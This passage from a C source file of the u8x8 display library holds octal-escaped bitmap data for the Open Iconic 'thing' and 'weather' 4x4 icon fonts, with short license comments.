\"\\0\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\\376\"\n  \"\\0\\0\\0\\0\\376\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\376\\7\\17\\17\\17\\17\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\17\\17\"\n  \"\\17\\17\\17\\7\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\374\\370\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\77\\77\\37\\37\\17\\17\\7\\7\\3\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\340\\360\\360\\360\\360\\360\\360\\340\\340\\340\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\17\\17\\17\\17\\17\\17\\7\\7\\7\\3\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\200\\300\\340\\360\\0\\200\\300\\340\\340\\360\\370\\374\\374\\376\\377\\377\\377\\377\\377\\377\\0\\200\\300\\340\\340\\360\\370\\374\\374\\376\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\1\\3\\7\\7\\17\\37\\77\\77\\177\\377\\377\\377\\377\\377\\377\\0\\1\\3\\7\\7\\17\\37\\77\\77\\177\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\3\\7\\17\\360\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\376\\374\\374\\370\\360\\340\\340\\300\\200\\0\\377\\377\\377\\377\\377\\377\\376\\374\\374\\370\\360\\340\"\n  \"\\340\\300\\200\\0\\377\\377\\377\\377\\377\\377\\177\\77\\77\\37\\17\\7\\7\\3\\1\\0\\377\\377\\377\\377\\377\\377\\177\\77\\77\\37\\17\\7\"\n  \"\\7\\3\\1\\0\\17\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\360\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\200\\200\\300\\340\\340\\360\\360\\370\\374\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\1\\1\\3\\7\\7\\17\\17\\37\\77\\77\\177\\177\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\17\"\n  \"\\0\\0\\0\\0\\360\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\374\\370\\360\\360\\340\\340\\300\\200\\200\\0\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\177\\177\\77\\77\\37\\17\\17\\7\\7\\3\\1\\1\\0\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\17\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\376\\377\\377\\377\\377\\376\\374\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0~\\377\\377\\376\\200\\0\\0\\0\\77\\177\\377\\377\\377\\377\\177\\77\\0\\0\\0\\200\\376\\377\\377\\376\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37>|xx\\360\\360\\360\\360\\360\\360xx|>\\37\\17\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\360\\377\\377\\377\\377\\360\\360\\360\\360\\340\\300\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\370\\374\\374\\374\\374\\376\\376\\376\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\3\\3\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\377\\0\\300\\340\\340\\360\\360\\360\\360\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\17\\77\\177\\177\\377\\377\\377\\377\\177\\177\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\17\\17\\17\\17\"\n  \"\\7\\7\\3\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\374\\374\\370\\360\\340\"\n  \"\\300\\200\\0\\0\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\1\\3\\3\\7\\17\\17\\37\\77\\77\\177\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\376\\360\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\200\\300\\300\\340\\360\\360\\370\\374\\374\\376\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\177\\17\\0\\0\\1\\3\\7\\17\\37\\77\\77\\177\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\77\\77\\37\\17\\7\"\n  \"\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\\377\\377\\377\\0\\0\\0\\0\\360\\360\\360\\340\\340\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\360\\360\\340\\301\\1\\3\\7\\37\"\n  \"\\377\\376\\374\\340\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\17\\17\\7\\203\\200\\300\\340\\370\"\n  \"\\377\\177\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\177\\377\\377\\377\\0\\0\\0\\0\\17\\17\\17\\7\\7\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\360\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\17\\17\\7\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\177\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\177\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: open_iconic_thing_4x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 19/19\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_thing_4x4[2436] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_thing_4x4\") = \n  \"@R\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374~\\77\\77~\\374\\370\\360\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\374\\376\\377\\377\\377\\363\\361\\360\\360\\360\\360\\360\\360\\361\\363\\377\\377\\377\\376\\374\\360\\360\"\n  \"\\360\\360\\360\\360\\0\\0\\0\\0\\377\\377\\377\\377\\37\\17\\17\\37\\377\\377\\377\\377\\377\\377\\377\\377\\37\\17\\17\\37\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\370\\360\\360\\370\\377\\377\\377\\377\\377\\377\\377\\377\\370\\360\\360\\370\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\376\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\376\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\7\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\17\\7\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\360\\377\\377\\377\\377\\17\\17\\17\\17\\377\\377\\377\\377\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\374\\376\\376\\377\\77\\37\\17\\17\\17\\16\\36<\"\n  \"\\374\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\377\\377\\377\\377\\377\\377\\377\\377\\374\\370\\360\\360\\360\\360\\370\\374\"\n  \"\\377\\377\\177\\37\\0\\200\\300\\340\\360\\370\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\7\\7\\3\"\n  \"\\3\\1\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376>\\37\\17\\17\\17\\17\\37>\\376\\374\\370\\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374~>\\37\\17\\17\\17\\17\\37>\\376\\374\\370\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374~\\77\\237\\317\\347\\343\\301\\200\\0\\0\\0\\200\\300\\340\\360\\370\\374\\177\\77\\37\\7\"\n  \"\\0\\0\\0\\0\\374\\377\\377\\377\\3\\1\\0<~\\377\\377\\347\\343\\361\\370|>\\77\\237\\317\\347\\303\\201\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\17\\37\\77>|x\\360\\360\\361\\361\\361\\361x|>\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<\\376\\377\\377\\377\\377\\376<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377~~\\377\\377\"\n  \"\\377\\377~<\\377\\377\\377\\377\\377\\377\\377\\377\\303\\1\\0\\0\\0\\0\\1\\303\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360\\370\\374\\374\"\n  \"~\\77\\16\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34>~\\377\\377\\377\\377\\177\\77\\37\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\377\\377\\377\\377\\377\\376\\374\\370\\0\\0\\0\\3\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0@@\\340\\370\\374\\377\\377\\377\\177\\177\\177\\77\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\376\\376\\376\\374\\370\\360\\340\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\\360\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\\377\\17\\7\\7\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\77|\\370\\370\\360\\360\\341\\341\\341\\363\\377\\377\\377\\177\\177\\77\\37\\17\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\360\\377\\377\\377\\377\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\377\\377\\377\\377\"\n  \"\\360\\360\\360\\360\\7\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\17\\7\\0\\0\\300\\340\\360\\370|<>\\36\\37\\17\\17\\17\\17\\17\\17\\37\\36><|\\370\\360\\340\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\374\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\377\\377\\377\\374\"\n  \"\\0\\0\\0\\0\\3\\17\\77\\177\\376\\370\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\370\\376\\377\\377\\357\\303\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\17\\17\\17\\17\\17\\17\\17\\17\\7\\7\\7\\7\\17\\37\\77\\177\\377\\377\"\n  \"\\377\\377\\376|\\0\\0\\0\\0\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\347\\303\\303\\347\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\360\\360\\360\\360\\360\\360\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377~<\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\376\\377\\377\\377\\377\\376\\376\\374\\360\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\6\\17\\17\\36\\36\\274\\374\\370\\371\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\371\\370\\374\\374\\36\\36\\17\\17\\6\"\n  \"\\0\\0\\0\\0\\6\\17\\17\\217\\377\\377\\377\\377\\377\\377\\377\\377\\1\\0\\0\\1\\377\\377\\377\\377\\377\\377\\377\\377\\217\\217\\17\\6\"\n  \"\\0\\0\\0\\0\\16\\17\\17\\7\\7\\7\\17\\37\\77\\177\\77\\37\\0\\0\\0\\0\\37\\77\\177\\77\\37\\17\\7\\7\\7\\17\\17\\16\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\341\\376\\374\\370\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377~\\0\\0\\0\\0\\20\\340\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0~\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\3\\1\\0\\200\\300\\340\\370\\376\\377\\377\\377\\377\\376\\374\\340\"\n  \"\\0\\0\\0\\0\\0\\3\\7\\17\\37\\77\\177\\207\\1\\0\\0\\0\\340\\370\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376>\\37\\17\\17\\17\\17\\37>\\376\\374\\370\\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\377\\377\\377\\377\\360\\360\\360\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\376\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\377\\377\\377\\376\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\377\\177\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\377\\377\\377\\177\\0\\0\\0\\0\\300\\340\\360\\360\\360\\360\\360\\360\\377\\377\\377\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\6\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\340\\360\\360\\360\\360\\360\\360\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\177\\177\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\347\\303\\303\\347\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: open_iconic_weather_4x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 6/6\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_weather_4x4[772] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_weather_4x4\") = \n  \"@E\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360\\360\\360\\360\\360\\360\\340\\340\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\360\\360\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\"\n  \"\\0\\0\\0\\0~\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\376\\374\\360\\0\\1\\3\\7\\7\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\7\\7\\3\\0\\200\\340\\370\\374\\374\\376\\376\\377\\377\\177\\77\\77\\37\\36\\16\\14\\14\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\37\\77\\37\\37\\37\\7\\3\\1\\300\\360\\370\\374\\374\\376\\376\\377\\377\\377\\377\\377\\377\\376\\376\\374\\374\\370\\340\\200\"\n  \"\\0\\0\\0\\0\\340\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\360\\340\\300\\0\\7\\37\\77\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  